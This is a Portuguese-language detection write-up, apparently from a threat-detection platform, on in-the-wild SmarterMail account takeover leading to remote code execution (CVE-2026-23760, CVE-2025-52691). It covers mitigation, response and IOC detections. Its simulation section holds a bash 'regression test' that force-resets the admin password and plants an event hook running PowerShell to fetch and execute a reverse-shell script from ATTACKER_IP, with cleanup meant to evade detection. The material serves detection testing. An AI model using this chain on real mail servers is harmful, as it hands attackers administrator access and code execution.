DE&TH para Vulnerabilidades: Huntress Detecta Sequestro de Conta SmarterMail Levando a RCE
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
A Huntress observou o abuso em ambiente real de duas falhas do SmarterMail que permitem a tomada de contas privilegiadas e, em última instância, execução remota de código. Os atacantes iniciam fluxos de redefinição de senha sem autenticação para obter um token privilegiado, em seguida abusam dos “eventos do sistema” do SmarterMail para executar comandos de reconhecimento do host. A atividade impactou vários clientes e mostrou sinais de exploração ampla e automatizada em larga escala.
Investigação
Analistas da Huntress reconstruíram uma sequência consistente de solicitações HTTP POST contra endpoints da API SmarterMail usadas para acionar redefinições de senha, autenticar, configurar eventos do sistema, adicionar domínios controlados por atacantes e, posteriormente, remover vestígios. A cadeia visa o CVE-2026-23760 (tomada de conta privilegiada) e o CVE-2025-52691 (upload arbitrário de arquivo). As solicitações comumente usavam o user-agent python-requests/2.32.4, e os operadores deixaram para trás arquivos result.txt contendo saída de reconhecimento de comandos executados.
Mitigação
Atualize o SmarterMail para a versão 9511 ou mais recente para corrigir ambos os CVEs. Revise e restrinja a exposição da API, desative ou restrinja eventos do sistema desnecessários e monitore atividades anômalas da API que alterem contas, eventos ou domínios. Identifique e remova quaisquer domínios e eventos do sistema criados por atacantes para eliminar a persistência.
Resposta
Procure pelo padrão suspeito de chamada de API e pelo user-agent python-requests/2.32.4, bloqueie IPs de origem ofensivos e exclua eventos maliciosos do sistema. Rode imediatamente as credenciais privilegiadas. Realize a análise forense do endpoint para localizar o result.txt e validar se cargas adicionais foram preparadas. Notifique usuários/clientes impactados e forneça orientações claras de remediação.
Fluxo de Ataque
Detecções
Possível tentativa de exploração de CVE-2026-23760 (SmarterMail) (via servidor web)
Visualizar
IOCs (DestinationIP) para detectar: DE&TH para Vulnerabilidades: Huntress detecta tomada de conta SmarterMail levando a RCE Parte 2
Visualizar
IOCs (DestinationIP) para detectar: DE&TH para Vulnerabilidades: Huntress detecta tomada de conta SmarterMail levando a RCE Parte 1
Visualizar
IOCs (SourceIP) para detectar: DE&TH para Vulnerabilidades: Huntress detecta tomada de conta SmarterMail levando a RCE Parte 1
Visualizar
IOCs (SourceIP) para detectar: DE&TH para Vulnerabilidades: Huntress detecta tomada de conta SmarterMail levando a RCE Parte 2
Visualizar
Tomada de conta SmarterMail levando a RCE [Servidor Web]
Visualizar
Execução de Simulação
Pré-requisito: O Verificação Prévia de Telemetria e Base deve ter passado.
Narrativa e Comandos do Ataque
- Reconhecimento: O atacante descobre que a instância do SmarterMail está executando uma versão vulnerável ao CVE‑2026‑23760.
- Forçar Redefinição de Senha (T1098): Usando a não autenticada
forçar-redefinição-de-senhaendpoint para definir uma senha conhecida para oadminconta privilegiada. - Autenticar (T1078): Faça login com as credenciais recém-definidas através do
autenticar-usuárioendpoint, obtendo um token de sessão. - Implantar Hook de Evento Malicioso (T1569): POST um payload JSON elaborado para
event-hookque aponta para um shell reverso PowerShell hospedado no servidor do atacante. - Acionar Execução: O event-hook é executado automaticamente no servidor web, criando um shell reverso para o atacante.
- Limpeza: Remova o hook malicioso através do
event-hook-deleteendpoint (excluído da detecção).
Todos os passos geram eventos HTTP POST que correspondem aos critérios de seleção da regra Sigma. critérios de seleção .
Script de Teste de Regressão
#!/usr/bin/env bash
# -------------------------------------------------
# Simulação de Tomada de Conta SmarterMail & RCE
# -------------------------------------------------
SM_URL="https://smartermail.example.com"
ADMIN_USER="admin"
NEW_PASS="PwnedPass!2026"
ATTACKER_IP="10.10.14.5"
ATTACKER_PORT="4444"
# 1. Forçar redefinição de senha (não autenticada)
curl -k -s -X POST "${SM_URL}/api/v1/auth/force-reset-password"
-H "Content-Type: application/json"
-d "{"username":"${ADMIN_USER}","newPassword":"${NEW_PASS}"}"
# 2. Autenticar e capturar token de sessão
TOKEN=$(curl -k -s -X POST "${SM_URL}/api/v1/auth/authenticate-user"
-H "Content-Type: application/json"
-d "{"username":"${ADMIN_USER}","password":"${NEW_PASS}"}"
| jq -r '.sessionToken')
# 3. Implantar event-hook malicioso (RCE)
PAYLOAD=$(cat <<EOF
{
"event":"mail-received",
"command":"powershell -NoP -W Hidden -Exec Bypass -Command "Invoke-WebRequest http://${ATTACKER_IP}:${ATTACKER_PORT}/shell.ps1 -OutFile $env:TEMPshell.ps1; powershell -ExecutionPolicy Bypass -File $env:TEMPshell.ps1""
}
EOF
)
curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook"
-H "Content-Type: application/json"
-H "Authorization: Bearer ${TOKEN}"
-d "${PAYLOAD}"
echo "[+] event-hook malicioso implantado. Aguardando shell reverso..."
# 4. (Opcional) Aguardar shell reverso – atacante executa ouvinte separadamente:
# nc -lvnp ${ATTACKER_PORT}
# 5. Limpeza – remova o hook (excluído da detecção)
curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook-delete"
-H "Authorization: Bearer ${TOKEN}"
Comandos de Limpeza
#!/usr/bin/env bash
# Remover quaisquer hooks maliciosos residuais e redefinir a senha do administrador
SM_URL="https://smartermail.example.com"
ADMIN_USER="admin"
SAFE_PASS="OriginalStrong!Pass"
# Autenticar com a senha segura (se conhecida) ou usar o token anterior
TOKEN=$(curl -k -s -X POST "${SM_URL}/api/v1/auth/authenticate-user"
-H "Content-Type: application/json"
-d "{"username":"${ADMIN_USER}","password":"PwnedPass!2026"}"
| jq -r '.sessionToken')
# Excluir o event-hook malicioso (se ainda estiver presente)
curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook-delete"
-H "Authorization: Bearer ${TOKEN}"
# Redefinir a senha do administrador para um valor conhecido
curl -k -s -X POST "${SM_URL}/api/v1/auth/force-reset-password"
-H "Content-Type: application/json"
-d "{"username":"${ADMIN_USER}","newPassword":"${SAFE_PASS}"}"